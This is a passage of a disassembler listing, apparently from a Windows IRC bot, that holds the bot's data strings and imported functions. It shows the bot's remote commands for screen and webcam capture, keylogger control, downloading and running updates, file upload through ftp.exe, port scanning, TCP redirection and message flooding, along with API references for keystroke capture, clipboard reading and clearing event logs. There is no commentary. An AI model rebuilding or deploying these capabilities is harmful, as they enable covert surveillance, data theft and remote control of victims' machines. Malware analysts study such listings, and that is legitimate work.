		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
unk_443870	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_407EECo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing screen.',0
		align 10h
unk_4438A0	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_407F01o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_4021E5:loc_407F14o
unk_4438E4	db  2Dh	; -		; DATA XREF: sub_4021E5+5DABo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
unk_44390C	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_407FC9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
aFrame		db 'frame',0            ; DATA XREF: sub_4021E5:loc_407FDCo
		align 4
unk_44393C	db  2Dh	; -		; DATA XREF: sub_4021E5+5ECAo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
unk_443968	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_4080C5o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_44399C	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_4080DAo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for webcam capture.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_4021E5:loc_4080EDo
		align 4
unk_4439DC	db  2Dh	; -		; DATA XREF: sub_4021E5+6003o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
unk_443A08	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_4081FEo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing amateur video from webcam.',0
unk_443A48	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_408213o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for amateur video capture.',0
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_4021E5+6089o
aGh		db 'gh',0               ; DATA XREF: sub_4021E5+60A6o
		align 4
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_4021E5+612Eo
		align 4
unk_443AA4	db  2Dh	; -		; DATA XREF: sub_4021E5+616Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_443ACC	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_40836Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
dword_443AFC	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_4021E5+61DAo
		dd 2E732520h, 0
aKilllog	db 'killlog',0          ; DATA XREF: sub_4021E5+622Do
aKl		db 'kl',0               ; DATA XREF: sub_4021E5+624Ao
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_4021E5+62A0o
		align 10h
aAa		db 'aa',0               ; DATA XREF: sub_4021E5+62BDo
		align 4
unk_443B34	db  2Dh	; -		; DATA XREF: sub_4021E5+632Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
aPrivmsg_1	db 'privmsg',0          ; DATA XREF: sub_4021E5+638Ao
aPm		db 'pm',0               ; DATA XREF: sub_4021E5+63A7o
		align 10h
unk_443B60	db  2Dh	; -		; DATA XREF: sub_4021E5+645Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 10h
aAction		db 'action',0           ; DATA XREF: sub_4021E5+6480o
		align 4
aA:					; DATA XREF: sub_4021E5+649Do
		unicode	0, <a>,0
dword_443B8C	dd 54434101h, 204E4F49h, 17325hunk_443B98	db  2Dh	; -		; DATA XREF: sub_4021E5+656Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
aCycle		db 'cycle',0            ; DATA XREF: sub_4021E5+6591o
		align 4
aCy		db 'cy',0               ; DATA XREF: sub_4021E5+65AEo
		align 10h
a332_0		db '332',0              ; DATA XREF: sub_4021E5+65C8o
aPartS_0	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_4021E5+65EDo
		align 10h
aJoinSS_2	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+6637o
		align 10h
dword_443BE0	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_4021E5+6647o
aMode		db 'mode',0             ; DATA XREF: sub_4021E5+6667o
		align 4
aM:					; DATA XREF: sub_4021E5+6684o
		unicode	0, <m>,0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_4021E5+66CCo
		align 4
unk_443C0C	db  2Dh	; -		; DATA XREF: sub_4021E5+66E2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aC_raw		db 'c_raw',0            ; DATA XREF: sub_4021E5+6703o
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: sub_4021E5+6720o
aS_13		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4021E5+67A5o
		align 4
dword_443C3C	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_4021E5+67E4o
		dd 25203A29h, 73h
aC_mode		db 'c_mode',0           ; DATA XREF: sub_4021E5+6806o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_4021E5+6823o
aModeS_0	db 'MODE %s',0          ; DATA XREF: sub_4021E5+6873o
aS_14		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4021E5+68BFo
		align 4
dword_443C74	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_4021E5+68FEo
		dd 203A2973h, 7325h
aC_nick		db 'c_nick',0           ; DATA XREF: sub_4021E5+6920o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_4021E5+693Do
aNickS_2	db 'NICK %s',0          ; DATA XREF: sub_4021E5+695Eo
aS_15		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4021E5+69AAo
		align 4
dword_443CAC	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_4021E5+69F0o
		dd 203A2973h, 7325h
aC_join		db 'c_join',0           ; DATA XREF: sub_4021E5+6A12o
		align 10h
aC_j		db 'c_j',0              ; DATA XREF: sub_4021E5+6A2Fo
aJoinSS_3	db 'JOIN %s %s',0       ; DATA XREF: sub_4021E5+6A5Do
		align 10h
aS_16		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4021E5+6AA9o
		align 4
aC_part		db 'c_part',0           ; DATA XREF: sub_4021E5+6AEAo
		align 10h
aC_p		db 'c_p',0              ; DATA XREF: sub_4021E5+6B07o
aPartS_1	db 'PART %s',0          ; DATA XREF: sub_4021E5+6B28o
aS_17		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4021E5+6B74o
		align 4
aUpdate		db 'update',0           ; DATA XREF: sub_4021E5+6BB5o
		align 4
aUp_0		db 'up',0               ; DATA XREF: sub_4021E5+6BD2o
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_4021E5+6C4Fo
		align 4
dword_443D1C	dd 234032Dh, 61647075h,	3026574haDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
dword_443D48	dd 234032Dh, 61647075h,	3026574haFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_443D84	dd 234032Dh, 61647075h,	3026574haBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
aExecute	db 'execute',0          ; DATA XREF: sub_4021E5+6E46o
aE:					; DATA XREF: sub_4021E5+6E63o
		unicode	0, <e>,0
unk_443DD8	db  2Dh	; -		; DATA XREF: sub_4021E5+6F29o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
dword_443DFC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_4021E5+6F44o
		dd 7325203Ah, 0
aFindfile	db 'findfile',0         ; DATA XREF: sub_4021E5+6FA0o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_4021E5+6FBDo
		align 4
unk_443E28	db  2Dh	; -		; DATA XREF: sub_4021E5+707Eo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
unk_443E58	db  2Dh	; -		; DATA XREF: sub_4021E5+7112o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_11	db 'Failed to start search thread, error: <%d>.',0
aRename		db 'rename',0           ; DATA XREF: sub_4021E5+7148o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_4021E5+7165o
		align 10h
unk_443EA0	db  2Dh	; -		; DATA XREF: sub_4021E5+71B7o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
dword_443EC4	dd 234032Dh, 656C6966h,	2D0302haClone_0	db 'clone',0            ; DATA XREF: sub_4021E5+7252o
		align 4
aC:					; DATA XREF: sub_4021E5+726Fo
		unicode	0, <c>,0
dword_443EDC	dd 234032Dh, 6E6F6C63h,	3027365haCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
dword_443F0C	dd 234032Dh, 6E6F6C63h,	3027365haFailedToSta_12	db '- Failed to start clone thread, error: <%d>.',0
		align 4
aDownload	db 'download',0         ; DATA XREF: sub_4021E5+740Fo
		align 4
aDl		db 'dl',0               ; DATA XREF: sub_4021E5+742Co
		align 4
unk_443F58	db  2Dh	; -		; DATA XREF: sub_4021E5+75A5o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_443F84	db  2Dh	; -		; DATA XREF: sub_4021E5+7635o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_13	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_4021E5+7691o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_4021E5+76AEo
		align 4
unk_443FD4	db  2Dh	; -		; DATA XREF: sub_4021E5+7767o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_444010	db  2Dh	; -		; DATA XREF: sub_4021E5+77F6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
aScan_1		db 'scan',0             ; DATA XREF: sub_4021E5+7852o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_4021E5+786Fo
		align 10h
unk_444060	db  2Dh	; -		; DATA XREF: sub_4021E5+791Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
unk_44409C	db  2Dh	; -		; DATA XREF: sub_4021E5+79ABo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_14	db 'Failed to start scan thread, error: <%d>.',0
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_4021E5+7A07o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_4021E5+7A24o
		align 4
aSSS		db '[%s] <%s> %s',0     ; DATA XREF: sub_4021E5+7BB5o
		align 4
aC_action	db 'c_action',0         ; DATA XREF: sub_4021E5+7BFEo
		align 4
off_444104	dd offset byte_615F63	; DATA XREF: sub_4021E5+7C1Bo
dword_444108	dd 54434101h, 204E4F49h, 17325hdword_444114	dd 5D73255Bh, 25202A20h, 73252073h, 0aPortscan	db 'portscan',0         ; DATA XREF: sub_4021E5+7E28o
		align 10h
aPsc		db 'psc',0              ; DATA XREF: sub_4021E5+7E45o
unk_444134	db  2Dh	; -		; DATA XREF: sub_4021E5+7F11o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_444184	db  2Dh	; -		; DATA XREF: sub_4021E5+7FA0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_15	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
aAdvscan	db 'advscan',0          ; DATA XREF: sub_4021E5+7FFCo
aAsc		db 'asc',0              ; DATA XREF: sub_4021E5+8019o
unk_4441CC	db  2Dh	; -		; DATA XREF: sub_4021E5+8064o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScan_0	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_44420C	db  2Dh	; -		; DATA XREF: sub_4021E5+820Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_16	db 'Failed to start scan, port is invalid.',0
		align 10h
unk_444240	db  2Dh	; -		; DATA XREF: sub_4021E5:loc_40A5D1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_17	db 'Failed to start scan, no IP specified.',0
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_4021E5+852Do
		align 4
aSequential_0	db 'Sequential',0       ; DATA XREF: sub_4021E5:loc_40A71Eo
		align 4
unk_444288	db  2Dh	; -		; DATA XREF: sub_4021E5+8568o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanSta_0	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 10h
unk_4442F0	db  2Dh	; -		; DATA XREF: sub_4021E5+85F7o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_18	db 'Failed to start scan thread, error: <%d>.',0
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_4021E5+8658o
aNs		db 'ns',0               ; DATA XREF: sub_4021E5+8675o
		align 4
unk_444334	db  2Dh	; -		; DATA XREF: sub_4021E5+86B0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
unk_444370	db  2Dh	; -		; DATA XREF: sub_4021E5+87E6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_4443A8	db  2Dh	; -		; DATA XREF: sub_4021E5+880Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_4443DC	db  2Dh	; -		; DATA XREF: sub_4021E5+8859o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
aEmail		db 'email',0            ; DATA XREF: sub_4021E5+8881o
		align 4
asc_444418:				; DATA XREF: sub_4021E5+8908o
		unicode	0, < >,0
a_:					; DATA XREF: sub_4021E5+890Do
		unicode	0, <_>,0
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_4021E5+89C0o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
unk_44446C	db  2Dh	; -		; DATA XREF: sub_4021E5+8A71o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_4021E5+8ACDo
aHcon		db 'hcon',0             ; DATA XREF: sub_4021E5+8AEAo
		align 10h
aUpload		db 'upload',0           ; DATA XREF: sub_4021E5+8B8Eo
		align 4
unk_4444A8	db  2Dh	; -		; DATA XREF: sub_4021E5+8BC9o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_4021E5+8C52o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4021E5+8C66o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_4021E5+8CCDo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aSS_0		db '-s:%s',0            ; DATA XREF: sub_4021E5+8CF3o
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_4021E5+8D12o
aOpen_1		db 'open',0             ; DATA XREF: sub_4021E5+8D17o
		align 4
unk_444518	db  2Dh	; -		; DATA XREF: sub_4021E5+8D42o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s',0
		align 10h
unk_444540	db  2Dh	; -		; DATA XREF: sub_4021E5+8D6Bo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s failed.',0
		align 10h
aNotice_2	db 'NOTICE',0           ; DATA XREF: sub_40B00F+10o
		align 4
aPrivmsg_2	db 'PRIVMSG',0          ; DATA XREF: sub_40B00F:loc_40B028o
aS_18		db '%s',0               ; DATA XREF: sub_40B00F+47o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40B00F+6Eo
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40B0C5+6o
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40B0C5+1Eo
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40B0C5+31o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40B0C5+44o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40B0C5+57o
		align 4
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40B0C5+6Ao
		align 4
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40B0C5+7Do
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40B0C5+90o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40B0C5+A3o
		align 4
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40B0C5+B6o
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40B0C5+C9o
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40B0C5+DCo
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40B0C5:loc_40B218o
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40B0C5:loc_40B255o
		align 4
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40B0C5+1A8o
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40B0C5+1BBo
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40B0C5+1CEo
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40B0C5+1E1o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40B0C5+1F4o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40B0C5+207o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40B0C5+21Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40B0C5+22Do
		align 4
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40B0C5:loc_40B357o
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40B0C5+2A5o
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40B0C5+2B8o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40B0C5+2CBo
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40B0C5:loc_40B3E8o
		align 4
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40B0C5+33Bo
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40B0C5+34Eo
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40B0C5+361o
		align 4
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40B0C5+374o
		align 10h
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40B0C5+387o
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40B0C5+39Ao
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_40B0C5+3ADo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_40B0C5+3C0o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40B0C5:loc_40B4D8o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40B0C5+426o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40B0C5+439o
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40B0C5:loc_40B536o
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40B0C5+484o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40B0C5+497o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40B0C5+4AAo
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40B0C5+4BDo
		align 10h
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40B0C5+4D0o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40B0C5+4E3o
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40B0C5+4F6o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40B0C5:loc_40B620o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40B0C5:loc_40B65Do
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40B0C5+5B0o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40B0C5+5C3o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40B0C5+5D6o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40B0C5+5E9o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40B0C5+5FCo
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40B0C5+60Fo
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40B0C5+622o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40B0C5+635o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40B0C5+648o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40B0C5:loc_40B792o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40B0C5+6E5o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40B0C5+6F8o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40B0C5+70Bo
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40B0C5+71Eo
		align 10h
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40B0C5+731o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40B0C5+744o
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40B0C5+757o
		align 4
aSocket		db 'socket',0           ; DATA XREF: sub_40B0C5+76Ao
		align 10h
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40B0C5+77Do
aConnect	db 'connect',0          ; DATA XREF: sub_40B0C5+790o
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40B0C5+7A3o
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40B0C5+7B6o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_40B0C5+7C9o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40B0C5+7DCo
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40B0C5+7EFo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40B0C5+802o
		align 4
aSend_0		db 'send',0             ; DATA XREF: sub_40B0C5+815o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40B0C5+828o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_40B0C5+83Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40B0C5+84Eo
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_40B0C5+861o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40B0C5+874o
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_40B0C5+887o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40B0C5+89Ao
		align 10h
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40B0C5+8ADo
		align 4
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40B0C5+8C0o
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40B0C5+8D3o
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40B0C5+8E6o
		align 4
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40B0C5+8F9o
		align 4
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40B0C5+90Co
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40B0C5+91Fo
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40B0C5:loc_40BB48o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40B0C5+A9Bo
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40B0C5+AAEo
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40B0C5+AC1o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40B0C5+AD4o
		align 4
